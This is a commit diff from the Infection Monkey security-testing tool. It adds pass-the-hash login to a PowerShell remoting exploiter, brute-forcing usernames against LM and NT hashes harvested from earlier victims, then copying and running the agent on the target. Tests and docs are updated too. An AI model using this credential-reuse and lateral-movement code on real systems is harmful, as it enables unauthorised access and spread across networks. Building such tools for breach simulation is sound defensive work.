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Merge pull request #1449 from guardicore/powershell-exploiter-ntlm-hashes 

Use LM and NT hashes in powershell exploiter
This commit is contained in:
VakarisZ 2021-09-09 11:56:02 +03:00 committed by GitHub
parent eefd7a69e8 1ba10d7059
commit dec2fc43c2
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GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 331 additions and 102 deletions
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15
docs/content/reference/exploiters/PowerShell.md
View File

@ -22,8 +22,9 @@ The PowerShell exploiter can be run from both Linux and Windows attackers. On
Windows attackers, the exploiter has the ability to use the cached username
and/or password from the current user. On both Linux and Windows attackers, the
exploiter uses all combinations of the [user-configured usernames and
passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different
combinations of credentials are attempted in the following order:
passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as
and LM or NT hashes that have been collected. Different combinations of
credentials are attempted in the following order:
1. **Cached username and password (Windows attacker only)** - The exploiter will
use the stored credentials of the current user to attempt to log into the
@ -47,6 +48,16 @@ combinations of credentials are attempted in the following order:
all combinations of usernames and passwords that were set in the
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
1. **Brute force usernames and LM hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and LM hashes that were
collected from any other victims.
1. **Brute force usernames and NT hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and NT hashes that were
collected from any other victims.
#### Securing PowerShell Remoting

2
envs/monkey_zoo/blackbox/config_templates/powershell.py
View File

@ -17,7 +17,7 @@ class PowerShell(ConfigTemplate):
"internal.classes.finger_classes": ["PingScanner"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
"internal.classes.exploits.exploit_ntlm_hash_list": [
"internal.exploits.exploit_ntlm_hash_list": [
"d0f0132b308a0c4e5d1029cc06f48692",
],
}

83
monkey/infection_monkey/exploit/powershell.py
View File

@ -6,21 +6,25 @@ import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import (
AUTH_NEGOTIATE,
ENCRYPTION_AUTO,
AuthOptions,
get_auth_options,
)
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
from infection_monkey.exploit.powershell_utils.credentials import (
Credentials,
SecretType,
get_credentials,
)
from infection_monkey.exploit.powershell_utils.powershell_client import (
AuthenticationError,
IPowerShellClient,
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import VictimHost
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
logger = logging.getLogger(__name__)
@ -49,7 +53,11 @@ class PowerShellExploiter(HostExploiter):
return False
credentials = get_credentials(
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
self._config.exploit_user_list,
self._config.exploit_password_list,
self._config.exploit_lm_hash_list,
self._config.exploit_ntlm_hash_list,
is_windows_os(),
)
auth_options = get_auth_options(credentials, is_https)
@ -88,7 +96,8 @@ class PowerShellExploiter(HostExploiter):
def _try_ssl_login(self, use_ssl: bool):
credentials = Credentials(
username="dummy_username",
password="dummy_password",
secret="dummy_password",
secret_type=SecretType.PASSWORD,
)
auth_options = AuthOptions(
@ -103,25 +112,42 @@ class PowerShellExploiter(HostExploiter):
self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]:
for (creds, opts) in zip(credentials, auth_options):
try:
client = PowerShellClient(self.host.ip_addr, creds, opts)
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}"
)
self.report_login_attempt(True, creds.username, creds.password)
client = PowerShellClient(self.host.ip_addr, creds, opts)
if self._is_client_auth_valid(creds, client):
return client
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Error: {ex}"
)
self.report_login_attempt(False, creds.username, creds.password)
return None
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
try:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._report_login_attempt(True, creds)
return True
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self._report_login_attempt(False, creds)
return False
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
elif credentials.secret_type == SecretType.LM_HASH:
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
elif credentials.secret_type == SecretType.NT_HASH:
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
def _execute_monkey_agent_on_victim(self) -> bool:
arch = self._client.get_host_architecture()
self.is_32bit = arch == WIN_ARCH_32
@ -167,7 +193,7 @@ class PowerShellExploiter(HostExploiter):
monkey_local_file.write(monkey_virtual_file.read())
def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = utils.build_monkey_execution_command(
monkey_execution_command = build_monkey_execution_command(
self.host, get_monkey_depth() - 1, executable_path
)
@ -176,3 +202,18 @@ class PowerShellExploiter(HostExploiter):
)
self._client.execute_cmd_as_detached_process(monkey_execution_command)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
depth=depth,
vulnerable_port=None,
location=executable_path,
)
return RUN_MONKEY % {
"monkey_path": executable_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}

6
monkey/infection_monkey/exploit/powershell_utils/auth_options.py
View File

@ -21,9 +21,9 @@ def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[Auth
for creds in credentials:
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
ssl = False if creds.password == "" else use_ssl
auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE
encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO
ssl = False if creds.secret == "" else use_ssl
auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE
encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO
auth_options.append(AuthOptions(auth_type, encryption, ssl))

56
monkey/infection_monkey/exploit/powershell_utils/credentials.py
View File

@ -1,21 +1,36 @@
from dataclasses import dataclass
from enum import Enum
from itertools import product
from typing import List, Union
class SecretType(Enum):
CACHED = 1
PASSWORD = 2
LM_HASH = 3
NT_HASH = 4
@dataclass
class Credentials:
username: Union[str, None]
password: Union[str, None]
secret: Union[str, None]
secret_type: SecretType
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool
usernames: List[str],
passwords: List[str],
lm_hashes: List[str],
nt_hashes: List[str],
is_windows: bool,
) -> List[Credentials]:
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords))
credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes))
credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes))
return credentials
@ -24,7 +39,7 @@ def get_credentials(
# will be used to attempt to log into the victim.
def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
if is_windows:
return [Credentials(username=None, password=None)]
return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)]
return []
@ -32,11 +47,17 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
# On Windows systems, when password == None, the current user's password will bu used to attempt to
# log into the victim.
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
credentials = [Credentials(username=username, password="") for username in usernames]
credentials = [
Credentials(username=username, secret="", secret_type=SecretType.PASSWORD)
for username in usernames
]
if is_windows:
credentials.extend(
[Credentials(username=username, password=None) for username in usernames]
[
Credentials(username=username, secret=None, secret_type=SecretType.CACHED)
for username in usernames
]
)
return credentials
@ -45,6 +66,27 @@ def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> Li
def _get_username_password_credentials(
usernames: List[str], passwords: List[str]
) -> List[Credentials]:
username_password_pairs = product(usernames, passwords)
return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD)
return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs]
def _get_username_lm_hash_credentials(
usernames: List[str], lm_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH)
def _get_username_nt_hash_credentials(
usernames: List[str], nt_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH)
def _get_username_secret_credentials(
usernames: List[str], secrets: List[str], secret_type: SecretType
) -> List[Credentials]:
username_secret_pairs = product(usernames, secrets)
return [
Credentials(credentials[0], credentials[1], secret_type)
for credentials in username_secret_pairs
]

29
monkey/infection_monkey/exploit/powershell_utils/powershell_client.py
View File

@ -1,6 +1,6 @@
import abc
import logging
from typing import Union
from typing import Optional, Union
import pypsrp
import spnego
@ -12,7 +12,7 @@ from urllib3 import connectionpool
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.model import GET_ARCH_WINDOWS
logger = logging.getLogger(__name__)
@ -27,6 +27,22 @@ def _set_sensitive_packages_log_level_to_error():
logging.getLogger(package.__name__).setLevel(logging.ERROR)
def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED:
return None
if credentials.secret_type == SecretType.PASSWORD:
return credentials.secret
if credentials.secret_type == SecretType.LM_HASH:
return f"{credentials.secret}:00000000000000000000000000000000"
if credentials.secret_type == SecretType.NT_HASH:
return f"00000000000000000000000000000000:{credentials.secret}"
raise ValueError(f"Unknown secret type {credentials.secret_type}")
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
@abc.abstractmethod
def execute_cmd(self, cmd: str) -> str:
@ -53,7 +69,7 @@ class PowerShellClient(IPowerShellClient):
self._client = Client(
ip_addr,
username=credentials.username,
password=credentials.password,
password=format_password(credentials),
cert_validation=False,
auth=auth_options.auth_type,
encryption=auth_options.encryption,
@ -61,16 +77,13 @@ class PowerShellClient(IPowerShellClient):
connection_timeout=CONNECTION_TIMEOUT,
)
# attempt to execute dir command to know if authentication was successful
self.execute_cmd("dir")
def execute_cmd(self, cmd: str) -> str:
output, _, _ = self._client.execute_cmd(cmd)
return output
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
output = self._client.execute_cmd(GET_ARCH_WINDOWS)
if "64-bit" in output:
stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
if "64-bit" in stdout:
return WIN_ARCH_64
return WIN_ARCH_32

17
monkey/infection_monkey/exploit/powershell_utils/utils.py
View File

@ -1,17 +0,0 @@
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
depth=depth,
vulnerable_port=None,
location=executable_path,
)
return RUN_MONKEY % {
"monkey_path": executable_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}

8
monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py
View File

@ -6,12 +6,12 @@ from infection_monkey.exploit.powershell_utils.auth_options import (
ENCRYPTION_NEVER,
get_auth_options,
)
from infection_monkey.exploit.powershell_utils.credentials import Credentials
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
CREDENTIALS = [
Credentials("user1", "password1"),
Credentials("user2", ""),
Credentials("user3", None),
Credentials("user1", "password1", SecretType.PASSWORD),
Credentials("user2", "", SecretType.PASSWORD),
Credentials("user3", None, SecretType.CACHED),
]

81
monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py
View File

@ -1,44 +1,97 @@
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
from infection_monkey.exploit.powershell_utils.credentials import (
Credentials,
SecretType,
get_credentials,
)
TEST_USERNAMES = ["user1", "user2"]
TEST_PASSWORDS = ["p1", "p2"]
TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"]
TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"]
def test_get_credentials__empty_windows_true():
credentials = get_credentials([], [], True)
credentials = get_credentials([], [], [], [], True)
assert len(credentials) == 1
assert credentials[0] == Credentials(username=None, password=None)
assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED)
def test_get_credentials__empty_windows_false():
credentials = get_credentials([], [], False)
credentials = get_credentials([], [], [], [], False)
assert len(credentials) == 0
def test_get_credentials__username_only_windows_true():
credentials = get_credentials(TEST_USERNAMES, [], True)
credentials = get_credentials(TEST_USERNAMES, [], [], [], True)
assert len(credentials) == 5
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials
assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials
assert (
Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED)
in credentials
)
def test_get_credentials__username_only_windows_false():
credentials = get_credentials(TEST_USERNAMES, [], False)
credentials = get_credentials(TEST_USERNAMES, [], [], [], False)
assert len(credentials) == 2
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
assert (
Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
def test_get_credentials__username_password_windows_true():
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True)
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True)
assert len(credentials) == 9
for user in TEST_USERNAMES:
for password in TEST_PASSWORDS:
assert Credentials(username=user, password=password) in credentials
assert (
Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD)
in credentials
)
def test_get_credentials__username_lm_hash_windows_false():
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False)
assert len(credentials) == 10
for user in TEST_USERNAMES:
for lm_hash in TEST_LM_HASHES:
assert (
Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH)
in credentials
)
def test_get_credentials__username_nt_hash_windows_false():
credentials = get_credentials(
TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False
)
assert len(credentials) == 14
for user in TEST_USERNAMES:
for nt_hash in TEST_NT_HASHES:
assert (
Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH)
in credentials
)

52
monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py Normal file
View File

@ -0,0 +1,52 @@
import pytest
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.exploit.powershell_utils.powershell_client import format_password
def test_format_cached_credentials():
expected = None
creds = Credentials("test_user", expected, SecretType.CACHED)
actual = format_password(creds)
assert expected == actual
def test_format_password():
expected = "test_password"
creds = Credentials("test_user", expected, SecretType.PASSWORD)
actual = format_password(creds)
assert expected == actual
def test_format_lm_hash():
lm_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
expected = f"{lm_hash}:00000000000000000000000000000000"
creds = Credentials("test_user", lm_hash, SecretType.LM_HASH)
actual = format_password(creds)
assert expected == actual
def test_format_nt_hash():
nt_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
expected = f"00000000000000000000000000000000:{nt_hash}"
creds = Credentials("test_user", nt_hash, SecretType.NT_HASH)
actual = format_password(creds)
assert expected == actual
def test_invalid_secret_type():
creds = Credentials("test_user", "secret", "Bogus_Secret")
with pytest.raises(ValueError):
format_password(creds)

13
monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py
View File

@ -1,13 +0,0 @@
from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.model.host import VictimHost
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")
depth = 2
executable_path = "/tmp/test-monkey"
cmd = utils.build_monkey_execution_command(host, depth, executable_path)
assert f"-d {depth}" in cmd
assert executable_path in cmd

71
monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
View File

@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost
USER_LIST = ["user1", "user2"]
PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
DROPPER_TARGET_PATH_32 = "C:\\agent32"
DROPPER_TARGET_PATH_64 = "C:\\agent64"
@ -19,6 +21,8 @@ Config = namedtuple(
[
"exploit_user_list",
"exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
"dropper_target_path_win_32",
"dropper_target_path_win_64",
],
@ -33,9 +37,17 @@ class TestAuthenticationError(Exception):
def powershell_exploiter(monkeypatch):
host = VictimHost("127.0.0.1")
pe = powershell.PowerShellExploiter(host)
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64)
pe._config = Config(
USER_LIST,
PASSWORD_LIST,
LM_HASH_LIST,
NT_HASH_LIST,
DROPPER_TARGET_PATH_32,
DROPPER_TARGET_PATH_64,
)
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
@ -78,7 +90,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter):
powershell_exploiter.exploit_host()
for call_args in mock_powershell_client.call_args_list:
if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password":
if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password":
assert call_args[0][2].ssl
@ -92,7 +104,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter):
def authenticate(mock_client):
def inner(_, credentials: Credentials, auth_options: AuthOptions):
if credentials.username == "user1" and credentials.password == "pass2":
if credentials.username == "user1" and credentials.secret == "pass2":
return mock_client
else:
raise TestAuthenticationError("Invalid credentials")
@ -106,25 +118,23 @@ def authenticate(mock_client):
)
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
mock_client = MagicMock()
mock_client.get_host_architecture = lambda: arch
mock_client.copy_file = MagicMock(return_value=True)
mock_client.return_value.get_host_architecture = lambda: arch
mock_client.return_value.copy_file = MagicMock(return_value=True)
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
success = powershell_exploiter.exploit_host()
assert dropper_target_path in mock_client.copy_file.call_args[0][1]
assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1]
assert success
def test_failed_copy(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.get_host_architecture = lambda: WIN_ARCH_32
mock_client.copy_file = MagicMock(return_value=False)
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.return_value.copy_file = MagicMock(return_value=False)
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
success = powershell_exploiter.exploit_host()
assert not success
@ -141,3 +151,40 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
success = powershell_exploiter.exploit_host()
assert not success
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.return_value.copy_file = MagicMock(return_value=True)
# execute_cmd method will throw exceptions for 5 first calls.
# 6-th call doesn't throw an exception == credentials successful
execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True]
mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
powershell_exploiter.exploit_host()
# Total 6 attempts reported, 5 failed and 1 succeeded
assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]])
== 5
)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]])
== 1
)
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")
depth = 2
executable_path = "/tmp/test-monkey"
cmd = powershell.build_monkey_execution_command(host, depth, executable_path)
assert f"-d {depth}" in cmd
assert executable_path in cmd